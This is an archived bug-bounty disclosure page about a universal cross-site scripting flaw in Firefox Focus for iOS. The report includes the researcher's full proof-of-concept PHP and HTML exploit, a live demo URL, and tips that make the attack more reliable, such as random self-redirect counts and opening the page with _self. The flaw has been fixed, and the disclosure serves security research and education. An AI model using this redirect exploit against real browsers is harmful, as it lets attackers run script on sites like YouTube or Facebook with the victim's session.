Skip to content
XSS Disclosed report Advanced

Focus iOS Full UXSS Using Server-Side Redirect to Javascript: URI

A server-side redirect to a javascript: URI could execute script in the context of the originating website in Firefox Focus for iOS, leading to universal cross-site scripting. An attacker could post a link that, when tapped, runs arbitrary JavaScript on sites such as Facebook or Google.

Renwa Hiwa Follow

Originally disclosed on Mozilla

  • Fixed in 11 months
  • Paid in 12 months
  • Disclosed after 11 months
Text
Created attachment 9498561
focus-uxss.mp4

This bug is a little complex from my POC and testings but the idea is simple, we have any website that has an `<a>` pointing to a website which server-side redirects to a `javascript:` URI the JS code will run on context of the website. 
For example:
1. Attacker posts a link in Facebook, GitHub profile, YouTube comment or Google search results. `(https://attacker.com/poc.php)`
2. Victim Taps on the link
3. `poc.php` server-side redirects to `javascript:document.write(origin)`
4. The JS code will run on context of the link which posted on: Facebook, Google...

My POC Code:
'''html
<?php
if (isset($_GET['redirect'])) {
$redirect_count = isset($_GET['count']) ? (int)$_GET['count'] : 0;
$final_destination = "javascript:document.write('UXSS POC, Origin: '%2borigin);"; 

if ($redirect_count < rand(9, 15)) {
    $redirect_count++;
    header("Location: ?redirect=1&count=" . $redirect_count);
    exit();
} else {
    header("Location: " . $final_destination);
    exit();
}
}
?>

<!DOCTYPE html>
<html>
  <head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
  </head>
  <body style="margin:0; display:flex; align-items:center; justify-content:center; height:100vh;">
    <center>
      <a href="javascript:start();" style="font-size:40px;">Tap here if not automatically redirected</a>
      <script>
        function start() {
          open('https://www.youtube.com/redirect?q=https://rx23.io/poc/firefox/1.php?redirect=1', '_self');
        }
        start();
      </script>
  </body>
</html>
'''

Online POC: 
- Open in Firefox Focus iOS https://rx23.io/poc/firefox/1.php
- Tap on `Go to Site` 
- UXSS on `youtube.com`

Couple explanations on my POC which is not same as what I initially said about the bug:
1. Before redirecting to the `javascript:` URI we will redirect the page to itself couple of times (otherwise many taps would be needed to get the UXSS)
2. I noticed using a random number of redirects will make the POC better otherwise it will need multiple taps
3. Instead of just a normal redirect to the YouTube site we are using `window.open()` with the `_self` window reference, this is crucial part of the POC without this it won't work
4. I also noticed if the PHP file is hosted on a same-site (not same-origin) domain we don't need to use the `open() & _self` just a normal link to it will work
5. If you didn't get it with one tap on the link then try again, with this POC my maximum retries was 3 so it should work.
6. In case of auto redirects like a client-side open redirect on the targeted site the POC is 0-user interaction we will get UXSS just by opening the POC with no more taps

The original report as published on Mozilla's Bugzilla, by Renwa. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could run arbitrary JavaScript in the context of a victim's site, potentially stealing data or performing actions as the user; the report notes that multiple taps may be needed and that a same-site host simplifies the attack.

What the attacker needed

Victim uses Firefox Focus for iOS; victim taps a crafted link; attacker controls a redirecting page

How it was found

  1. Attacker posts a link to a page that will redirect to a javascript: URI.
  2. Victim taps the link in Firefox Focus for iOS.
  3. The page redirects to itself several times, then to the javascript: URI.
  4. The JavaScript runs in the context of the site that hosted the original link.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Normally a website cannot run its own code on another website because browsers keep sites separate. Here, a redirect to a special javascript: address tricked the browser into running code as if it belonged to the site that posted the link. That lets an attacker act as the victim on that site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Renwa Hiwa

View all

15 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.